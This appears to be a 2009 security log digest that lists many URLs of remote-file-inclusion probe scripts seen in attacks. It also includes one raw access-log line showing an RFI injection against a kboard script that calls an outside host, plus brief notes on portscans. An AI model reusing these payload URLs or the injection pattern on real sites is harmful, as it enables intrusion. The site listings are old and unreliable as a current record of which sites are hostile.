netsecurity database

//208.98.22.241/id.txt????
//basic-it.de/phpShop/soap/copyright.txt
//car1119.wo.tc/board/data/skin/gids.txt?%0D??
//colegiopenacorada.com/xoops_lib/modules/copyright.txt%3f%3f
//deepkind.com/id.txt??
//elctraining.com/administrator/backups/id.txt???
//freebannerdisplays.com/testvideo/videos/copyright.txt????
//jvo.dk/fuursaml/TNG//gedcom_folder/babid.txt???
//olesya.biz/aJz.txt?
//vostochny.de//backup/id1.txt??
//www.ambient-arts.co.uk/id.txt???
//www.dloisvision.com//dotproject/functions/v4id.txt?
//www.gumansin.com/pds/1.txt??
//www.kortech.cn/bbs//skin/zero_vote/oltre.txt?
//www.new-image.fr/b1ttletX.txt???
//www.regaltip.com//oneadmin/test.txt??
//www.sangabuay.com/p/info.txt???
//www.universalenglish.com/bbs//skin/id1.txt?
//www.wg.com.pl/components/test.txt??
//www.wizard.com.br/id.txt??
//xexelento.freehostia.com/priv8/ids/fx29id1.txt??
//zonadeclientes.com/id1.txt??

202.111.175.179 CN YJ-GOV-NET 202.111.175.0 - 202.111.175.255 202.111.175.0/24 YanJi City Government Network,

202.111.175.179 - - [18/Apr/2009:23:33:52 +0200] "GET //kboard/kboard.php?board=notice&act=vote&no=20&page=&search_mode=&search_word=&cid=//kboard/kboard.php?board=notice&act=write&no=3&page=&cid=&mode=reply&act=http://www.arcadeshopper.com/joomla/images/stories/sistem.gif??? HTTP/1.1" 302 571 "-" "libwww-perl/5.79"

redirecting to attacker's source

//208.98.22.241/v9scan/copyright.txt%3f%3f
//aldeanos.com/WEB-INF/lib/.../id3.txt%3f%3f
//www.bernardyni.ofm.pl/organy1/tmp/zero/id.txt????
//www.cap.org.hk/phpATM/cfg/baner.txt%3f%3f
//www.casinopaper.org/www/casinoh/MADONGCMD.txt??
//www.geocities.com/si_ngapore/id.txt?
//www.kortech.cn/bbs//skin/zero_vote/oltre.txt?
//www.wat-is.info//content/download/test.txt%3f%3f

//82.146.51.16/scan/copyright.txt??
//admins.onceinalifespan.com/gid.txt???
//ccucnorth.net/ccuc/mambots/editors/id.txt?
//dgsoft.50webs.com/ps.php??
//elitewa.go.ro/copyright.txt%3f%3f
//hredu.net/bbs/skin/zero_vote/images/id.txt????
//jense.biz/media/r57/test.txt??
//mipsel.altervista.org/idi.txt???
//mir-linux.ru/lang/id3.txt%3f%3f%3f
//mir-linux.ru/lang/idfx1.txt%3f%3f
//sindepol.com.br/images/copyright%255B1%255D.txt%3f%3f%3f%3f
//sindepol.com.br/images/copyright%5B1%5D.txt????
//www.candidography.com/zero/id1.txt??
//www.fans4dantley.org/rfi/id.txt%3f%3f

Within the last days firewalls showed massive portscans. Mainly originating from Chinese province networks, Equador, Brasilia and sometimes APNIC-ranges DialIn-netranges were scanned for open ports (TCP 1024-1026, 445 and UDP highports). Most of the sources have not been autotagged for abuses in the past.

//64.13.230.27/logs/id.txt?
//aldeanos.com/WEB-INF/lib/.../id3.txt??
//elitewa.go.ro/copyright.txt??
//feam-ice.ru//test.txt??
//gumansin.com/pds/1.txt??
//hacker94.freehostia.com/osy2.txt??
//hacker94.freehostia.com/safe.txt??
//hredu.net/bbs/skin/zero_vote/images/id.txt????
//imagehut.ws/images/baner.jpg??
//indoirc.go.ro/idB.txt??
//jense.biz/media/r57/test.txt??
//sindepol.com.br/images/copyright[1].txt??
//sior.org/zero/data/home/pw.txt?
//users4.nofeehost.com/anjrit/fx/id1.txt??
//www.chodskypes.net/mambots/id.txt??
//www.fuscaclubedealagoas.com.br/vnc/fx29id.txt??
//www.gzkom.com/tmp/idd.txt??
//www.mcfox.com.br/mambo/id.txt???
//www.sysweb.it/amik/copyright.txt??
//www.tos-belarus.org/scan/copyright.txt?
//www.typo3sverige.se/typo3temp/cmd.txt?

//activauto.fr/cgi/t.dat?&list=1&cmd=id
//dsvv.org/dsvv/user_file/iblees/safe.txt??
//feam-ice.ru//test.txt??
//heintzelmanfh.com/fx29id.txt???
//lindasartini.interfree.it/hk?
//mir-linux.ru/lang/idfx1.txt??
//mir-linux.ru/lang/test.txt??
//pixies.cz/id.txt???
//povardarska-eparhija.org.mk/pe//administrator/components/com_wmtgallery/scan/fx29id1.txt??
//sebastians.wewillhostit.com/v9scan/copyright.txt??
//solelyyoursgem.com/img/products/jan/bot/coracore/id.txt??
//suziii.republika.pl/id.txt????
//weblime.ru/seahorse/mambo???
//www.candidography.com/zero/id1.txt??
//www.casinopaper.org/www/casinoh/MADONGCMD.txt??
//www.chodskypes.net/mambots/id.txt??
//www.dloisvision.com//dotproject/functions/test.txt???
//www.fmweb.it/plugins/system/README.txt?
//www.geocities.com/kito_barto/idxx.txt%3f%3f
//www.grupisa-es.com.br/atas/id.txt???
//www.mykr.net/bbs/data/id/copyright.txt??
//www.ohnnurychurch.org/bbs/skin/idi.txt???
//www.phdcursos.com.br/http/idd.txt?
//www.situshot.com/id.txt????
//www.stormloader.com/members/cong/copyright.txt????

//124.109.8.194/mssBakData/.../cek.jpg??
//aldeanos.com/WEB-INF/lib/.../id3.txt??
//alwaysdollar.com/portal/frameset/html/inc/elang/test.txt??
//feam-ice.ru//test.txt??
//imagehut.ws/images/baner.jpg??
//lindasartini.interfree.it/hk?
//sebastians.wewillhostit.com/v9scan/copyright.txt%3f%3f
//sky-trading.com/board/thumb_imgX/copyright.txt???
//thalesnn.justfree.com/roxlink/id.txt??
//users4.nofeehost.com/anjrit/fx/id1.txt??
//weblime.ru/seahorse/mambo???
//westvirginiahuntingforum.com/Smileys/v4id.txt???
//www.altem.be/mambots/ts???
//www.blix.cc/language/idd.txt??
//www.candidography.com/zero/id1.txt??
//www.ccm.pl/ccm/aid.txt???
//www.ccm.pl/ccm/test.txt??
//www.er.uqam.ca/nobel/social/2007/components/ID.txt???
//www.fuscaclubedealagoas.com.br/vnc/fx29id.txt??
//www.geocities.com/kito_barto/idxx.txt??
//www.geocities.com/toto_anzzo/Id.txt%3f%3f%3f
//www.grupisa-es.com.br/atas/id.txt???
//www.holweger.eu//templates/madeyourwebs/images/bajo-id.txt???
//www.inticardoso.com/images/.bash/id.txt?
//www.jense.biz/media/r57/test.txt??
//www.kortech.cn/bbs//skin/zero_vote/oltre.txt?
//www.mykr.net/bbs/data/id/copyright.txt??
//www.myremote.org//openx/fx29id.txt??
//www.ohnnurychurch.org/bbs/skin/idi.txt%3f%3f%3f
//www.stormpages.com/ariee/fx29id.txt???
//www.sunggong.tv/bc/shirohige/fxid.txt%3f%3f
//www.suntalent.com.tw//appserv/id???
//www.tos-belarus.org/scan/copyright.txt?
//www.tos-belarus.org/scan/copyright.txt???
//www.ybrt.cn/data/lang/z6id.txt???
//zargoon.misesajour.com/templates/id.txt??

Currently portscanning concentrates on TCP 445 checking for open SMB over TCP.

Some MS SQL Inject tryouts on TCP 1433.

Origins: mainly CN,RU,BR,AR

//alwaysdollar.com/portal/frameset/html/inc/elang/test.txt??
//home.covenantberks.org/images/kampret.jpg??
//nyckcg.org/bbs/gore------/test.txt???
//thalesnn.justfree.com/roxlink/id.txt??
//veiculosjacto.com.br/img/common/help.txt?
//www.bigx.co.cc/titip/idfx1.txt??
//www.blix.cc/language/idd.txt??
//www.buttecreekcanyon.net/History/0sirys.txt??
//www.casinopaper.org/www/casinoh/MADONGCMD.txt??
//www.ccm.pl/ccm/idxx.txt??
//www.chodskypes.net/mambots/aJ.txt??
//www.fuscaclubedealagoas.com.br/vnc/fx29id.txt?
//www.geocities.com/kito_barto/idxx.txt??
//www.geocities.com/peruzaklaknat/fx29id1.txt??
//www.grupisa-es.com.br/atas/id.txt???
//www.imprex.co.kr/bbs//skin/happycast_blue/tek.txt????
//www.tos-belarus.org/scan/copyright.txt???

//208.98.22.241/id.txt????
//defensive.ru/docs/idxx.txt??
//hmarksi.com/bot/hezid2.txt??
//isepic.tugaspeed.info/oltre.txt?
//islamicdesigns.askmuslims.com/FX29ID1.txt?
//midnightcr3w.justfree.com/Fx29id.txt???
//veiculosjacto.com.br/img/common/help.txt?
//visopartes.com/components/com_zoom/classes/iptc/.../sistem.txt???
//www.candidography.com/zero/id1.txt??
//www.festiwal.zhp.info//components/Scanid.txt?
//www.home.pt/adpics/id.txt??
//www.hrshe.ae/id.txt?????
//www.kimstroy.by//assets/images/super-id.txt???
//www.northshoredojo.net/img/id.txt???
//www.plywerk.com/ss/bo.do%0D??
//www.thecaptainscoffee.com/libraries/v4id.txt?

Reports show incresing UDP portscans from CN Province networks.

cnnic reports:

The Latest Statistics (By JUNE 30, 2007):
Internet Users:162,000,000 Computer Hosts:67,100,000
WWW Websites:1,311,600 International Bandwidth:312,346 Mbit/s

Did someone lost his/her workstation in Europe? And if so, do the Koreans only help searching?

Ups - they do not look for their missing bots - do they?

//208.98.22.241/id.txt%3f%3f%3f%3f
//catuv.co.il/administrator/components/com_coment/id.txt?%0D??
//defensive.ru/docs/idxx.txt??
//elitewa.go.ro/copyright.txt??
//hack.tools.innovacionesmx.com/tools/Oxf/copyright.txt??
//indoirc.go.ro/id1.txt??
//mir-linux.ru/lang/id2.txt???
//mir-linux.ru/lang/id3.txt???
//mir-linux.ru/lang/idfx1.txt??
//mir-linux.ru/lang/test.txt??
//oubkhammuseum.com/templates/idvop.txt??
//rackhost.t35.com/chid???
//sebastians.wewillhostit.com/id.txt%3f%3f%3f%3f
//traviswindowandblindcleaning.com/runid.txt??
//visopartes.com/components/com_zoom/classes/iptc/.../sistem.txt???
//www.ccm.pl/ccm/tukulid.txt%3f%3f
//www.chattymamas.com/forum/impex/fx29id1.txt??
//www.enyzone.cz/components/com_poll/z1%3f%3f
//www.er.uqam.ca/nobel/social/2007/components/ID.txt???
//www.geocities.com/whois140/id.txt?
//www.hit168.com.cn/cache/id.txt??
//www.holweger.eu//templates/madeyourwebs/images/bajo-id.txt%3f%3f%3f
//www.hrshe.ae/id.txt????
//www.imprex.co.kr/bbs//skin/happycast_blue/tek.txt????
//www.kortech.cn/bbs//skin/zero_vote/oltre.txt?
//www.northshoredojo.net/img/id.txt%3f%3f%3f
//www.ppclub.co.kr/bbs/11.txt????
//www.stormloader.com/members/cong/copyright.txt????
//www.timxtreme.nl/data/storage/attachments/css/fx29id1.txt??
//www.tos-belarus.org/scan/copyright.txt??

//channels.dal.net/kog/fx29id1.txt?
//ecology41.t35.com/id.txt????
//home.covenantberks.org/images/kampret.jpg??
//hredu.net/bbs/skin/zero_vote/images/id.txt????
//imagehut.ws/img/pandegaid.txt??
//midnightcr3w.justfree.com/Fx29id.txt??
//mir-linux.ru/lang/id3.txt???
//neu_2.lasrv-1.de/web/.v6/id.txt???
//ruscanada.info/poll/mantabs.txt??????
//thalesnn.justfree.com/roxlink/id.txt??
//webserver.med.up.pt/moodle0506/read.txt??%0D??
//www.bascpichincha-ecuador.org//swf/ts???
//www.brightonsupply.com/shop//administrator/components/com_virtuemart/jss/yes.txt???
//www.bulitippspiel.com//components/com_jombib/jombib/components/lib/id.txt%3f%3f
//www.candidography.com/zero/id1.txt??
//www.casinopaper.org/www/casinoh/MADONGCMD.txt??
//www.ccm.pl/ccm/test.txt??
//www.chattymamas.com/forum/impex/fx29id1.txt??
//www.classicline.ru/cfe2faece98f606043f1594d8677f722/pw.txt??
//www.cobanderilleros.com.ar/libro/idz??
//www.esquadraodamorte.com.br//modules/Forums/admin/test.txt??
//www.festiwal.zhp.info//components/Scanid.txt?
//www.fuscaclubedealagoas.com.br/vnc/fx29id.txt??
//www.kortech.cn/bbs//skin/zero_vote/oltre.txt?
//www.musclecybernetics.com/administrator/components/com_virtuemart/pussinetid.txt???
//www.nazdar.ru/forum/phpBB3/language/ru/iso.txt??
//www.ppclub.co.kr/bbs/11.txt????
//www.tos-belarus.org/scan/copyright.txt??
//www.vwo-campus.net/mobiel/styles/idfx1.txt?

//51ucn.com/xjarea/shz/help01.txt?????
//envolverde.ig.com.br/tmp/id.txt???
//hredu.net/bbs/skin/zero_vote/images/id.txt????
//kashikicks.ru/fx29id.txt??
//kbapt.co.kr/bbs/templates/id1.txt???
//lesboss.ru/img/upimg/idste.txt?
//sundall.net/idx?
//tothebit.com/wp/wpdata/fxid.txt%3f%3f
//www.candidography.com/zero/id1.txt??
//www.ccm.pl/ccm/idz.txt??
//www.ccm.pl/ccm/mic.txt?
//www.ccm.pl/ccm/test.txt??
//www.centralpets.com//extracts/id1.txt??
//www.fuscaclubedealagoas.com.br/vnc/fx29id.txt?
//www.godigital.no//joomla///components/com_extcalendar/lib/id.txt????
//www.juarteakorea.co.kr/board/rgboard//include/w.txt??
//www.kimstroy.by//assets/images/pit-id.txt??
//www.kortech.cn/bbs//skin/zero_vote/oltre.txt?
//www.missposadas.com.ar/geid.txt???
//www.nazdar.ru/forum/phpBB3/language/ru/iso.txt??
//www.nis-network.org/joomla/cmd.do%3f%3f
//www.northshoredojo.net/img/id.txt??
//www.ppclub.co.kr/bbs/11.txt????
//www.tos-belarus.org/scan/copyright.txt?
//www.ukofficefurniture.co.uk/images/raid.txt???
//www.unlockedphones.eu//jss/id.txt??
//www.yzf600-r6.com/administrator/components/com_remository/.../sistem.txt???

//arclips.com/flash/bo.do??
//cccrafts.net/shop/pub/t.txt%3f%3f
//ecology41.t35.com/scans/damn/id.txt???
//hredu.net/bbs/skin/zero_vote/images/id.txt????
//lanaalaadi.com/lana/data/tmp/cache/db.txt??
//r-shooter.com/bbs/data/test.txt??
//veiculosjacto.com.br/img/common/help.txt?
//www.azonzotravel.com/readme.txt???
//www.bsdhz.ch//assets/media/Roseid.txt??
//www.candidography.com/zero/id1.txt??
//www.casinopaper.org/www/casinoh/MADONGCMD.txt?
//www.charityauction.co.za/includes/idrose.txt??%0D?
//www.esoterikha.com/cms/admin/header.jpg?
//www.hrshe.ae/id.txt????
//www.jense.biz/media/r57/test.txt??
//www.juarteakorea.co.kr/board/rgboard//include/w.txt??
//www.peacemovers.com/media/includes/FX29ID1.txt%3f%3f%3f
//www.kortech.cn/bbs//skin/zero_vote/oltre.txt?
//wwwam.org//langs/idfx1.txt??

//ecology41.t35.com/scans/damn/id.txt???
//franklinlegion.com/doc/ab.txt??
//geocities.com/setansetan63/id.txt??
//soapinmyeyes.com/wp-content/Xalb.txt???
//soapinmyeyes.com/wp-content/copyright.txt?
//users4.nofeehost.com/anjrit/fx/id1.txt??
//www.agrippine.net/titip/idfx1.txt??
//www.bascpichincha-ecuador.org//swf/ts???
//www.bsdhz.ch//assets/media/Roseid.txt??
//www.cheersclan.de/html/copyright.txt????
//www.chodskypes.net/mambots/aj.txt??
//www.giss.co.th/administrator/components/tukulid.txt??
//www.giss.co.th/administrator/components/v6.txt???
//www.hakcan.com//modules/coppermine/themes/default/fx29id1.txt??
//www.home.pt/adpics/id.txt??
//www.hrshe.ae/id.txt????
//www.kimstroy.by//assets/images/v2-id.txt??
//www.knigi.ru/resp.txt????
//www.koreavan.kr/technote6//data/id1.txt?%0D?
//www.nis-network.org/joomla/cmd.do??
//www.tos-belarus.org/scan/copyright.txt?

//203.114.112.155/webboard1234/mic.txt???
//66.7.56.125/test.txt??
//artishock.com.ua/templates/id.txt??
//flamingo.digistorme.com//administrator/language/idfx1.txt?
//flamingo.digistorme.com//administrator/language/idfx1.txt??
//karpiknet.pl/biblia/pbot1.txt?
//penderak.homeip.net/freesite/uploads/tf/test.txt??
//www.azonzotravel.com/readme.txt???
//www.bsdhz.ch//assets/media/Roseid.txt??
//www.buenosairesidiomas.com/centro/idv6.txt???
//www.candidography.com/zero/id1.txt??
//www.fuscaclubedealagoas.com.br/vnc/fx29id.txt??
//www.giss.co.th/administrator/components/idxx.txt??
//www.giss.co.th/administrator/components/mic.txt?
//www.knigi.ru/resp.txt%3f%3f%3f%3f
//www.nis-network.org/joomla/cmd.do??
//www.somos-guapos.com/wb/db.txt??
//www.tos-belarus.org/scan/copyright.txt?
//www.vaue160.org/idv6.txt?%0D??

//artishock.com.ua/templates/id.txt??
//axioma-dch.com/servicios/FX29ID1?????????
//ccucnorth.net/ccuc/mambots/editors/id.txt?
//dkmedia.kr/kboard/systemid.txt???
//ecology41.t35.com/scans/damn/id.txt???
//flamingo.digistorme.com//administrator/language/idfx1.txt?
//imagehut.ws/images/baner.jpg??
//karpiknet.pl/biblia/pbot1.txt?
//kashikicks.ru/fx29id.txt??
//members.mywave.at/m206111aa/cms/administrator/components/com_virtuemart/html/templates/order_emails/coi.txt???
//members.mywave.at/m206111aa/cms/administrator/components/com_virtuemart/html/templates/order_emails/test.txt???